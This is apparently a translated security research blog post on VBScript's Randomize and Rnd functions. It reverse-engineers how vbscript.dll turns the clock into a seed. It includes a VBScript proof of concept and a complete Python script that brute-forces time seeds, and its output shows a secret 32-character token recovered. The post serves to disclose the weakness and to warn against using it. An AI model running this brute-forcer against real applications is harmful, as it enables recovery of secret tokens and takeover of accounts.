VBScript随机数内部机制揭秘:安全漏洞与破解实践

本文深入分析VBScript中Randomize和Rnd函数的内部实现机制,揭示其存在的严重安全缺陷。通过逆向工程vbscript.dll库,展示了如何利用时间种子预测伪随机数序列,并提供了完整的Python破解工具实现,最终成功恢复出本应保密的令牌值。

Yet Another Random Story: VBScript’s Randomize Internals

25 Sep 2025 - Posted by Adrian Denkiewicz

在我们最近的一篇文章中,Dennis分享了一个有趣的C#利用案例研究,该案例基于随机数生成的密码重置令牌。他演示了如何使用单包攻击或一些传统数学方法来破解系统。最近,我对一个依赖VBScript编写的目标进行了安全测试。本篇博客文章重点讨论VBS的Rnd函数,并展示该情况甚至更为糟糕。

目标应用

该应用负责生成一个秘密令牌。该令牌本应是不可预测的且保持机密。以下是令牌生成代码的大致副本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32

function GenerateToken(chars, n)
	Dim result, pos, i, charsLength
	charsLength = Int(Len(chars))	
	
	For i = 1 To n
		Randomize
		pos = Int((Rnd * charsLength) + 1)
		result = result & Mid(chars, pos, 1)
	Next
	
	GenerateToken = result	
end function

我首先注意到的是Randomize函数在循环内部被调用。这应该在每次迭代时重新播种PRNG,对吧?这可能导致重复值。然而,与许多其他编程语言相反,在VBScript中,循环内使用Randomize本身并不是问题。如果再次传递相同的种子(即使是隐式传递),该函数不会重置初始状态。这防止在单个GenerateToken调用内生成相同的字符序列。如果你确实需要该行为,请在调用带数字参数的Randomize之前立即使用负参数调用Rnd

但如果不是问题,那问题是什么?

VBS的Randomize实际工作原理

以下是简短的API分解:

1
2
3
Randomize     ' 使用系统时钟为全局PRNG播种
Randomize s   ' 使用指定种子值为全局PRNG播种
r = Rnd()     ' 下一个[0,1)范围内的浮点数

如果没有明确指定种子,Randomize使用Timer来设置它(不完全正确,但我们会讲到)。Timer()返回自午夜以来的秒数,作为Single值。Rnd()推进全局PRNG状态,并且对于给定种子是完全确定性的。相同种子,相同序列,与其他编程语言一样。

但这里存在一些问题。Windows默认系统时钟滴答约为15.625毫秒,即每秒64次滴答。换句话说,我们每15.625毫秒才获得一个新的隐式种子值。

由于返回值是Single类型,与Double类型相比,我们还会遇到精度损失。实际上,多个"种子"会四舍五入到相同的内部值。想象内部发生碰撞。结果,可能的唯一序列数量比你想象的要少得多!

实际上最多只有65,536个不同的有效播种(详情如下)。由于Timer()在午夜重置,同一集合每天重复出现。

我们运行了客户代码的本地副本来生成唯一令牌。在近10,000次运行中,我们仅成功生成了400个唯一值。其余令牌是重复的。随着时间的推移,重复率增加。

当然,这里的真正目标是恢复原始秘密。如果我们知道GenerateToken函数开始的时间,我们就可以实现这一点。值越精确,所需计算越少。然而,即使我们只有一个粗略的概念,比如"午夜后的分钟数",我们可以从00:00开始,慢慢将种子值增加15.625毫秒。

概念验证

我们首先通过双重检查我们的策略开始。我们修改了初始代码以使用命令行提供的种子值。注意,相同的种子被多次使用。虽然在原始代码中,种子值可能在循环迭代之间变化,但实际上这种情况不常发生。我们可以扩展我们的PoC来处理此类场景,但为了可读性,我们希望保持代码尽可能简洁。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Option Explicit

If WScript.Arguments.Count < 1 Then
	WScript.Echo "VBS_Error: Requires 1 seed argument."
	WScript.Quit(1)
End If

Dim seedToTest
seedToTest = WScript.Arguments(0)
WScript.Echo "Seed: " & seedToTest

Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32

WScript.Echo "Predicted token: " & GenerateToken(chars, n, seedToTest)

function GenerateToken(chars, n, seed)
	Dim result, pos, i, charsLength
	charsLength = Int(Len(chars))	
	
	For i = 1 To n
		Randomize seed
		pos = Int((Rnd * charsLength) + 1)
		result = result & Mid(chars, pos, 1)
	Next
	
	GenerateToken = result	
end function

我们从另一段代码中获取了精确的Timer()值,并将其用作输入种子。但奇怪的是,它不起作用。出于某种原因,我们最终得到了完全不同的PRNG状态。我们花了一些时间才理解RandomizeRandomize Timer()并不完全相同。

VBScript由微软在1990年代中期推出,作为Visual Basic的轻量级解释子集。截至Windows 11版本24H2,VBScript是按需功能(FOD)。这意味着目前默认安装,但微软计划在未来版本中禁用它并最终移除它。尽管如此,感兴趣的方法在vbscript.dll库中实现,我们可以查看vbscript!VbsRandomize

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
; edi = argc
vbscript!VbsRandomize+0x50:
00007ffc`12d076a0 85ff            test    edi,edi            ; is argc == 0 ?
00007ffc`12d076a2 755b            jne     vbscript!VbsRandomize+0xaf ; if not zero, goto Randomize <seed> path

; otherwise, seed taken from current time
00007ffc`12d076a4 488d4c2420      lea     rcx,[rsp+20h]
00007ffc`12d076a9 48ff15...       call    GetLocalTime

; build "seconds" = hh*3600 + mm*60 + ss
00007ffc`12d076b5 0fb7442428      movzx   eax,word ptr [rsp+28h]
00007ffc`12d076ba 6bc83c          imul    ecx,eax,3Ch
00007ffc`12d076bd 0fb744242a      movzx   eax,word ptr [rsp+2Ah]
00007ffc`12d076c2 03c8            add     ecx,eax  
00007ffc`12d076c4 0fb744242c      movzx   eax,word ptr [rsp+2Ch]
00007ffc`12d076c9 6bd13c          imul    edx,ecx,3Ch
00007ffc`12d076cc 03d0            add     edx,eax

; convert milliseconds to double, divide by 1000.0
00007ffc`12d076ce 0fb744242e      movzx   eax,word ptr [rsp+2Eh]
00007ffc`12d076d3 660f6ec0        movd    xmm0,eax
00007ffc`12d076d7 f30fe6c0        cvtdq2pd xmm0,xmm0
00007ffc`12d076db 660f6eca        movd    xmm1,edx
00007ffc`12d076df f20f5e0599...   divsd   xmm0,[vbscript!_real]
00007ffc`12d076e7 f30fe6c9        cvtdq2pd xmm1,xmm1
00007ffc`12d076eb f20f58c8        addsd   xmm1,xmm0

; narrow down
00007ffc`12d076ef 660f5ac1        cvtpd2ps xmm0,xmm1         ; double -> float conversion
00007ffc`12d076f3 f30f11442420    movss   [rsp+20h],xmm0     ; spill float
00007ffc`12d076f9 8b4c2420        mov     ecx,[rsp+20h]      ; load as int bits

; ecx now holds 32-bit seed candidate

...

; code used later (in both cases) to mix into PRNG state
vbscript!VbsRandomize+0xda:
00007ffc`12d0772a 816350ff0000ff      and     dword [rbx+50h],0FF0000FFh  ; keep top/bottom byte
00007ffc`12d07731 8bc1                mov     eax,ecx
00007ffc`12d07733 c1e808              shr     eax,8
00007ffc`12d07736 c1e108              shl     ecx,8
00007ffc`12d07739 33c1                xor     eax,ecx
00007ffc`12d0773b 2500ffff00          and     eax,00FFFF00h
00007ffc`12d07740 094350              or      dword [rbx+50h],eax    

当我们之前说裸Randomize使用Timer()作为种子时,我们并不完全正确。实际上,它只是调用WinApi的GetLocalTime。它将秒加上小数毫秒计算为Double,然后使用CVTPD2PS汇编指令缩小到Single(浮点数)。

让我们以65860.48为例。它可以用十六进制表示法表示为0x40f014479db22d0e。在执行所有这些数学运算之后,我们的0x40f014479db22d0e变为0x4780a23d,并用作种子输入。

当明确给出输入时,会发生以下情况:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
; argc == 1, seed given
vbscript!VbsRandomize+0xaf:
00007ffc`12d076ff 33d2                xor     edx,edx
00007ffc`12d07701 488bce              mov     rcx,rsi
00007ffc`12d07704 e8...               call    vbscript!VAR::PvarGetVarVal
00007ffc`12d07709 ba05000000          mov     edx,5
00007ffc`12d0770e 488bc8              mov     rcx,rax              ; rcx = VAR* (value)
00007ffc`12d07711 e8...               call    vbscript!VAR::PvarConvert

00007ffc`12d07716 f20f104008          movsd   xmm0,mmword [rax+8]  ; load the double payload
00007ffc`12d0771b f20f11442420        movsd   [rsp+20h],xmm0       ; spill as 64-bit
00007ffc`12d07721 488b4c2420          mov     rcx,qword  [rsp+20h] ; rcx = raw IEEE-754 bits
00007ffc`12d07726 48c1e920            shr     rcx,20h              ; **take high dword** as seed source

当我们指定种子值时,它以完全不同的方式处理。它不是使用CVTPD2PS操作码进行转换,而是右移32位。所以这次,我们的0x40f014479db22d0e变为0x40f01447。我们最终得到完全不同的种子输入。这解释了为什么我们无法正确重新播种PRNG。

最后,内部PRNG状态的中间两个字节使用这些位的字节交换XOR混合进行更新,而状态的顶部和底部字节被保留。

老实说,我曾考虑将所有这些重新实现到Python中,以更清楚地了解发生了什么。但随后,Python提醒我它可以处理几乎无限的数字(至少是整数)。另一方面,VBScript实现实际上充满了Python不会生成的潜在数字溢出。因此,我保留了令牌生成代码原样,仅在Python中实现了种子转换。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
"""
Convert the time range given on the command line into all VBS-Timer()
values between them (inclusive) in **0.015625-second** steps (1/64 s),
turn each value into the special Double that `Randomize <seed>` expects,
feed the seed to VBS_PATH, parse the predicted token, and test it.

usage
    python brute_timer.py <start_clock> <end_clock>

examples
    python brute_timer.py "12:58:00 PM" "12:58:05 PM"
    python brute_timer.py "17:42:25.50" "17:42:27.00"

Both 12- and 24-hour clock strings are accepted; optional fractional
seconds are allowed.
"""

import subprocess
import struct
import sys
import re
from datetime import datetime


VBS_PATH    = r"C:\share\poc.vbs"

TICK       = 1 / 64               # 0.015 625 s  (VBS Timer resolution)
STEP       = TICK

def vbs_timer_value(clock_text: str) -> float:
    """Clock string to exact Single value returned by VBS's Timer()."""
    for fmt in ("%I:%M:%S %p", "%I:%M:%S.%f %p",
                "%H:%M:%S", "%H:%M:%S.%f"):
        try:
            t = datetime.strptime(clock_text, fmt).time()
            break
        except ValueError:
            continue
    else:
        raise ValueError("time format not recognised: " + clock_text)

    secs = t.hour*3600 + t.minute*60 + t.second + t.microsecond/1e6
    secs = round(secs / TICK) * TICK          # snap to nearest 1/64 s
    
    # force Single precision (float32) to match VBS mantissa exactly
    secs = struct.unpack('<f', struct.pack('<f', secs))[0]
    return secs


def make_manual_seed(timer_value: float) -> float:
    """Build the Double that Randomize <seed> receives"""
    single_le = struct.pack('<f', timer_value)   # 4 bytes  little-endian
    dbl_le    = b"\x00\x00\x00\x00" + single_le  # low dword zero, high dword = f32
    return struct.unpack('<d', dbl_le)[0]        # Python float (Double)

# ---------------------------------------------------------------------------
#   MAIN ROUTINE
# ---------------------------------------------------------------------------

def main():
    if len(sys.argv) != 3:
        print(__doc__)
        sys.exit(1)

    start_val = vbs_timer_value(sys.argv[1])
    end_val   = vbs_timer_value(sys.argv[2])

    if end_val < start_val:
        print("[ERROR] end time is earlier than start time")
        sys.exit(1)

    tried_tokens    = set()
    unique_tested   = 0
    success         = False

    print(f"[INFO] Range {start_val:.5f} to {end_val:.5f} in {STEP}-s steps")

    value = start_val
    while value <= end_val + 1e-7:          # small epsilon for fp rounding
        seed = make_manual_seed(value)
        try:
            vbs = subprocess.run([
                "cscript.exe", "//nologo", VBS_PATH, str(seed)
            ], capture_output=True, text=True, check=True)
        except subprocess.CalledProcessError as e:
            print(f"[ERROR] VBS failed for seed {seed}: {e}")
            value += STEP
            continue

        m = re.search(r"Predicted token:\s*(.+)", vbs.stdout)
        if not m:
            print(f"[{value:.5f}] No token from VBS")
            value += STEP
            continue

        token = m.group(1).strip()
        if token in tried_tokens:
            value += STEP
            # print(f"Duplicate for [{value:.5f}] / seed: {seed}: {token}")
            continue
        tried_tokens.add(token)
        unique_tested += 1
        print(f"[{value:.5f}] Test #{unique_tested}: {token} // calculated seed: {seed}")
        
        # ...logic omitted - but we need some sort of token verification here

        value += STEP

if __name__ == "__main__":
    main()

攻击

现在,我们可以运行基础代码并捕获一个半精确的当前时间值。我们的Python使用正确格式的字符串,因此我们可以使用简单方法转换数字:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Dim t, hh, mm, ss, ns
t = Timer()

hh = Int(t \ 3600)
mm = Int((t Mod 3600) \ 60)
ss = Int(t Mod 60)
ns = (t - Int(t)) * 1000000

WScript.Echo _
    Right("0" & hh, 2) & ":" & _
    Right("0" & mm, 2) & ":" & _
    Right("0" & ss, 2) & "." & _
    Right("000000" & CStr(Int(ns)), 6)

假设令牌在17:55:54.046875精确生成,我们得到了QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7字符串。在我们的目标案例中,我们知道一些文件是在17:55:54创建的,这相当接近令牌生成时间。在其他情况下,信息泄漏可能来自某些资源创建元数据、日志文件中的条目等。

我们在可疑时间窗口内以0.015625秒步长(64 Hz)迭代时间种子,并过滤所有重复项。

我们以1秒范围启动了brute_timer.py脚本,并在第4次迭代中成功恢复了秘密:

1
2
3
4
5
6
7
PS C:\share> python3 .\brute_timer.py 17:55:54 17:55:55
[INFO] Range 64554.00000 to 64555.00000 in 0.015625-s steps
[64554.00000] Test #1: eYIkXKdsUTC3Uz#R)P$BlVRJie9U2(4B // calculated seed: 2.3397787718772567e+36
[64554.01562] Test #2: ZTDgSGZnPP#yQv*M6L)#hQNEdZ5Px50$ // calculated seed: 2.3397838424796576e+36
[64554.03125] Test #3: VP!bOBUjLK&uLq8I2G7*cMIAZV0Lt1v* // calculated seed: 2.3397889130820585e+36
[64554.04688] Test #4: QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7 // calculated seed: 2.3397939836844594e+36
[...snip...]

VBScript的Randomize和Rnd如果你只想在屏幕上掷一些骰子是可以的,但甚至不要考虑将它们用于机密目的。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计